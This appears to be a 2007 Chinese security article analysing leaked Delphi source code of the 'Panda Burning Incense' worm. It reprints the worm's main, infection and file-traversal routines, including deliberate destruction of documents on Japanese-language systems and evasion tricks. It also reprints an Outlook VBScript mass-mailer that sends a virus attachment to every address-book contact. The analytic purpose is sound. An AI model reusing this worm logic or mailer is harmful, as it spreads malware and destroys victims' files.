熊猫烧香源码收藏本站找回密码开启辅助访问OTP 登录 注册 找回密码
安基网
请输入搜索内容
搜索
首页资讯软件IT技术公开课人才投稿
冰盾DDoS防火墙
冰盾DDoS防火墙
专业防护DDoS和CC攻击15年,网站和游戏服务器的保护神
点击了解详情
安基网›首页›IT技术›安全攻防› 查看内容
“熊猫烧香”源码启示录
2007-12-11 09:23| 投稿: security
免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!
摘要: 一、引言 去年秋天回趟老家,适逢家中秋收后“祭宅神”。期间,听亲家二大娘在香毕吟颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安—这是作为衣食百姓发自内...
一、引言 去年秋天回趟老家,适逢家中秋收后“祭宅神”。期间,听亲家二大娘在香毕吟颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安—这是作为衣食百姓发自内心的心愿!但如今,正待举国上下、一家老小庆祝金猪佳节到来之际,图1中的这位老兄抢先一步把香烧到了几乎家家户户,烧得各位焦头烂额,人人喊“杀”。 试问这位仁兄:你到底想干什么? 图1:“熊猫烧香”病毒感染可执行文件后的文件图标 在短短一个月时间里,“熊猫烧香”作者多次发布更新版的变种病毒,每一次都针对以前设计的不完善进行修改,每次更新都几尽感染破坏之能事。他为什么要如此辛劳地研制病毒程序呢?本人十分同意一些防毒软件专家的观点—“‘熊猫烧香’带有强烈的商业目的,用户感染病毒后,会从后台点击国外的网站,部分变种中含有盗号木马,病毒作者可借此牟利……”。 最近,一份据称是“熊猫烧香”病毒的源代码正在互联网上散播,任何人只要利用Google或者Baidu等搜索工具都可以轻易获得(本人也是如此取得的代码)。粗略分析该代码后,我们注意到:该病毒在感染至日文操作系统时破坏性尤甚,但对其它语言Windows也造成了严重破坏。 本文中,我想对这个基于Delphi语言所编写的“熊猫烧香源码”作进一步分析,并阐述自己的几点看法。 二、“熊猫烧香”病毒“源码”浅析 (一)主程序段分析 原“熊猫烧香”病毒“源码”主程序段代码如下所示: begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了,开始工作 begin TmpFile := ParamStr(0); //创建临时文件……....Line n Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7 InfectFiles; //感染和发邮件 end; end. 稍加分析,我们不难绘出其相应的执行流程(如图2): 图2:主程序流程图 对于代码: RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。 然后,上面代码在判断当前操作系统不是Win9X后,提到“远程线程映射到Explorer进程”一句。其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线程来注入一个DLL”技术。如今,只要上网GOOGLE一下“远程线程映射技术”即出现大量实现片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在Windows系统中举足轻重—Windows在启动过程中都会随同激活一个名为Explorer.exe的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。注:这并不是说Windows的运行根本离不开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象无法再使用Windows了。 另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。 因此,上面代码中从第n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪装手段之一:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个“原”无毒程序(实际上文件名已经改变,加了一个空格字符)。 接下来,让我们深入分析上面流程中“InfectFiles(感染文件)”部分的执行过程。 (二)具体感染文件的过程 这个子过程的源码如下所示: procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言 IsJap := True; //去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList + ':', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一 end; end;{ === InfectFiles } 这里的核心是后面的死循环。先让我们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电子邮件信息。其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的。下面是从网上摘录的一段VBScript脚本: Set objOA=Wscript.CreateObject("Outlook.Application") '创建一个OUTLOOK应用的对象 Set objMapi=objOA.GetNameSpace("MAPI") '取得MAPI名字空间 For i=1 to objMapi.AddressLists.Count '遍历地址簿 Set objAddList=objMapi.AddressLists(i) For j=1 To objAddList. AddressEntries.Count Set objMail=objOA.CreateItem (0) objMail.Recipients.Add (objAddList. AddressEntries (j)) '取得收件人邮件地址 objMail.Subject="你好!" '设置邮件主题 objMail.Body="这次给你的附件,是我的新文档!" '设置信件内容 objMail.Attachments.Add(“c:virus.vbs") '把自己作为附件扩散出去 objMail.Send '发送邮件 Next Next Set objMapi=Nothing Set objOA=Nothing 注意,这段代码是非常基本的使用VBScript脚本操作Outlook COM对象,并进而达到通过编程方式操作Outlook发送特定邮件的编程技术。其中,最关键的一句在于: objMail.Attachments.Add(“c:virus.vbs") 在此,任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身! (三)LoopFiles子过程分析 这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程。在此列出其关键代码片断: { 遍历目录,感染和摧毁文件 } procedure LoopFiles(Path, Mask: string); var //……局部变量定义 Msg: TMsg; // IsValidDir判断指定对象是否是“目录”…… function IsValidDir(SearchRec: TSearchRec): Integer; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then //Line X begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin //感染HTML和ASP文件,将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之? end else if Ext = '.WAB' then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = '.ADC' then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = 'IND' then //Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin if IsJap then //是倭文操作系统 begin if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or ……then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings + '', Mask); FreeAndNil(SubDir); end; 作者:朱先忠
Tag标签:
小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!
免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!
鲜花
握手
雷人
路过
鸡蛋
收藏邀请
相关阅读
• 利用ARP探测以太网中的活动主机• NetQin 2.0手机杀毒软件功能详解• 截断熊猫烧香入侵黑手 • Rexroth液压阀规格型号• UNIX入侵经典步骤详解(part 1.2)• 查杀木马后门的一般步骤• UNICODE漏洞全攻略四• pmaPWN! - phpMyAdmin Code Injection RCE Scanner & Exploit• 微点主动防御软件_逆向_idb• 惊云下载系统的惊人漏洞• 利用抓包工具WSockExpert进行探测网站• 让DLL卸载自身• 博世力士乐泵阀订货号现货低价出售• 轻松找回被关禁闭的“首页”• 了解浏览器嗅探与特性探测• 防范ARP病毒攻击网吧的网络• Cisco VPN集线器组名称枚举漏洞• Win9x系列共享密码校验漏洞的利用• 电脑“死机”的原因及其预防方法• 程序员五大层次,你属于哪一层?• 我的第一次入侵 • 实例讲解如何应对Rootkit内核型病毒• 熊猫卫士2008本地提权漏洞• 光洋KOYO武汉专业代理销售
最新评论
评论
手机数码
电脑技术
网络管理
安全攻防
编程开发
智能硬件
办公设计
网赚电商
最新
能够删除杀毒软件的新型Linux挖矿木马来袭
FIT 2019不见不散!大会详细议程公布
用户设备易被黑的十大机场
数字货币价格普遍回暖 比特币重返4200美元
红魔MARS游戏手机发布 液冷+风冷+炫彩灯+边
00后没见过 这些老产品依旧堪称神器
因MacBook和iMac屏幕进灰事件 苹果遭遇集体
美司法部指控两名伊朗黑客勒索攻击 造成300
网络黑灰产已近千亿 个人信息泄露是源头
真相令人崩溃 你在网上设的密码大多数形同
00后“白帽黑客”7天挖11企业漏洞!今年17
高达800万次下载量的npm包被黑客篡改代码,
黑客“自学成才”进行DDOS攻击,杭州一集团
工信部:监测处置网络安全威胁约3397万个
最近,互联网一个47年的协议就要停止支持了
5毛1GB太便宜!固态价格持续下降可以入手了
“多才多艺”的安卓木马Rotexy已在3个月里
专家发现一个Spotify的网络钓鱼活动
Uber被曝270万用户信息被黑客盗取 遭监管机
移动支付排名:微信第一、支付宝第二、Appl
专为AR/VR场景打造 高通正在开发全新SoC
苹果macOS曝三个零日漏洞,可导致Mac电脑被
越南黑客组织“海莲花”被指针对东南亚发起
13款恶意安卓APP被曝光,总下载量超过56万
攻击者可通过侧通道攻击暴露Facebook、XBox
聊一款专为图形工作者准备的笔记本电脑
恐怖!一天之内比特币跌破3500美元,官媒发
共享充电宝退潮后:那些海量旧电芯去了哪里
人工智能如何与现代黑客和网络犯罪作斗争
非常琐碎的Spotify钓鱼活动被专家发现
Web应用服务器性能压力测试
任天堂Switch 6.2系统被破解 黑客将于本周
虚拟机加密:超融合世界的加密策略
python编程实现局域网arp抓取室友网上浏览
9款电脑黑科技小软,开启你成就网络管理员
斯诺登:比特币终将消失 加密货币则会永生
警惕eval()的安全漏洞
自学Python入行数据挖掘,听听数据挖掘美女
马斯克考虑移居火星 建立基地不返回地球
新型 Linux 病毒,脚本超 1000 行,功能复
渗透测试——黑客如何通过QQ号获取到你的手
黑客怎么利用手机进行网络渗透测试!
黑客入侵电脑常用的5种手段,如果你电脑里
黑客的“攻”与“受”之防火墙
安卓已过时?华为、荣耀参与测试全新操作系
亏损超1亿!比特币价格大跌,两万多部矿机
乳胶枕被检出含致癌物,还是花6800买的!乳
英语不好?那你就试试TensorFlow官方中文版
Hadoop学习-块、网络拓扑、副本策略、机架
超详细的Linux时间同步配置方法
比特币跌破3500美元至2017年9月以来的最低
北京一培训公司员工为赚提成收集千万个人信
腾讯QQ发布公告:因安全功能升级 不再提供
苹果macOS曝三个零日漏洞,可导致Mac电脑被
Facebook提高发现账户劫持漏洞的赏金金额
Linux内核发现两个尚未修复的DoS漏洞
淘宝双12大促玩法曝光:必须设店铺红包
PS4出现一位黑客 把不尊重他的玩家永久断开
你的ofo押金退了吗?
2019互联网校招薪酬曝光 看你能拿到多少钱
感恩节黑客也搞起了黑五大促 但甩卖的是你
网上谍影:境外间谍情报机关通过互联网窃取
亚马逊用户电子邮箱地址在黑色星期五前夕外
vivo NEX2首次曝光:极致双面屏+22.5W超级
百度网盘六周年庆活动上线:新用户1元买一
国产手机逆势崛起 苹果三星被挤压
QQ v9.0.8.24194 体验版发布
小米蓝牙耳机Air现身FCC:10小时续航
比特币再次暴跌 感恩节当周市值损失四分之
iOS登录,退出流程整理
© 2003-2018 安基网(SAFEBASE.CN) 京公网安备11010802027589号 京ICP备10030376号-6 【手机版】Powered by Discuz 存档 联系信箱: 0daybank
文章评论